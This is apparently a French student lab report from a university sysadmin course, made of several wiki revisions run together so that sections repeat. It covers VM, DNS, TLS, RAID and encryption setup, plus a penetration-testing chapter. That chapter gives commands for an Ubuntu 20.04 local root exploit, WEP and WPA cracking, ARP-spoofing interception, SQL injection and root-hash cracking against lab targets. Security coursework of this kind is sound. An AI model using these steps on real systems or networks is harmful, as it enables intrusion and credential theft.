
$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-06T01:08:31Z

Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, ssh sur la zabeth09, puis minicom :

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

$ ping google.fr

==4.1 Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

$ service ssh start

Puis sur un autre terminal, on fait un :

$ ssh root@193.48.57.181

==4.2 Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

1ère étape:

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.

2ème étape:
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).

3ème partie:
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==4.3 Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix ( configuration : "Internet Site", nom du site " piedbleu.site" ).

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce repertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS( port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS ( fichier db.piedbleu.site), en rajoutant un enregistrement de type A:

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==4.4 Sécurisation de serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui servirons pour le chiffrement.Avant cela, nous créons un dossier piedbleu.site.dnssec où serons stocker ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n'oblions pas d'incrementez le numéro version pour que les modifications soient prises en compte.

on signe ensuite les enregistrement de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffice .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consite à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

Vérification:
Nous vérifions la configuration de notre DNS grace au site : https://dnssec-analyzer.verisignlabs.com/

=5. Tests d’intrusion=

==5.1 Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

$ sudo adduser u1
$ su u1
$ id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

$ ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

$ top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

$ kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

$ rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes.

$ nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine !

$ whoami
pwn
$ id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==5.2 Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

$ apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :

$ airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

$ airmon-ng start wlp1s0mon

On peux ensuite lancer le scan des réseaux wifi environnants :

$ airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

$ aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé ( message « Key Found »).

==5.3 Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

$ airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:

$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):

$ crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :

$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap

Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-5.png|600px]]

==5.4 Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==5.5 Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I was here" :

[[Fichier:Hack-honey.png|600px]]

=6. Réalisations=

== 6.1 Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions vituelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==6.2 Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

$ fdisk -l # on répère la clé USB
$ fdisk /dev/sdb # on formate la clé en une seule partition
$ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
$ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
$ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

$ mkdir /mnt/USB
$ mount -t ext4 /dev/mapper/myusbkey /mnt/USB
$ touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

$ umount /mnt/USB
$ cryptsetup luksClose myusbkey

== 6.4 Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==

TP sysres IMA5sc 2020/2021 G8

2020-12-06T01:05:03Z

Jsoulaim : /* 4.4 Sécurisation de serveur DNS par DNSSEC */

=2. Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=4. Services Internet=
==4.0 Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
